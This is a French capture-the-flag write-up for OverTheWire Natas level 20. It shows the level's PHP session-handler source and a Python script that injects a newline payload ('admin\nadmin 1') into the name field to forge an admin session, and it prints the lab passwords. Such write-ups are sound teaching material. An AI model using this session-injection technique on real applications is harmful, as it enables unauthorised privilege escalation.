Niveau 20

Natas 20

Level Goal

Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
URL: http://natas20.natas.labs.overthewire.org

En se connectant à la page du challenge 20 (curl http://natas20.natas.labs.overthewire.org -u natas20:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF) on accède à un énième formulaire de connexion :

You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.
<form action="index.php" method="POST">
Your name: <input name="name" value=""><br>
<input type="submit" value="Change name" />
</form>

Avec le code source suivant associé :

<?

function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) { 
    //debug("MYOPEN $path $name"); 
    return true; 
}

/* we don't need this */
function myclose() { 
    //debug("MYCLOSE"); 
    return true; 
}

function myread($sid) { 
    debug("MYREAD $sid"); 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode();
}

function mywrite($sid, $data) { 
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data"); 
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID"); 
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid"); 
    return true; 
}
/* we don't need this */
function mygarbage($t) { 
    //debug("MYGARBAGE $t"); 
    return true; 
}

session_set_save_handler(
    "myopen", 
    "myclose", 
    "myread", 
    "mywrite", 
    "mydestroy", 
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

<form action="index.php" method="POST">
Your name: <input name="name" value="<?=$name?>"><br>
<input type="submit" value="Change name" />
</form> 

Plusieurs choses sont à noter :

Comme on peut le voir dans la fonction d'écriture de session mywrite(), le contenu du fichier de session créé stock sous forme d'association clef valeur la variable name avec l'identifiant de l'utilisateur.

Dans les faits si l'on envoi un formulaire avec le nom admin on va avoir un identifant unique de session, par exemple 59uc29udj92japd3gipadtfcn4, qui va nous être associé via un cookie. Un fichier va également être créé pour stocker les informations de notre session avec pour nom mysess_59uc29udj92japd3gipadtfcn4 et pour contenu :

name admin

Différents éléments sont exploitables :

foreach(explode("\n", $data) as $line)

Si l'on envoie une requête une requête de telle manière à ce que le contenu du fichier de session ressemble à cela :

name admin
admin 1

Alors à la prochaine lecture de la session, le serveur nous identifiera comme utilisateur admin avec des droits administrateurs.

En utilisant Python on peut écrire :

import requests

response = requests.post(
    "http://natas20.natas.labs.overthewire.org",
    params={"name": "admin\nadmin 1"},
    auth=requests.auth.HTTPBasicAuth("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF"),
)
session_cookie = response.cookies.get_dict()

response = requests.get(
    "http://natas20.natas.labs.overthewire.org",
    cookies=session_cookie,
    auth=requests.auth.HTTPBasicAuth("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF"),
)

print(response.text)

Comme on peut le voir on effectue une première requête POST avec notre payload admin\nadmin 1, puis on utilise le cookie de session de cette première requête pour effectuer une requête GET.

On obtient le mot de passe du niveau 21 : IFekPyrQXftziDEsUr3x21sYuahypdgJ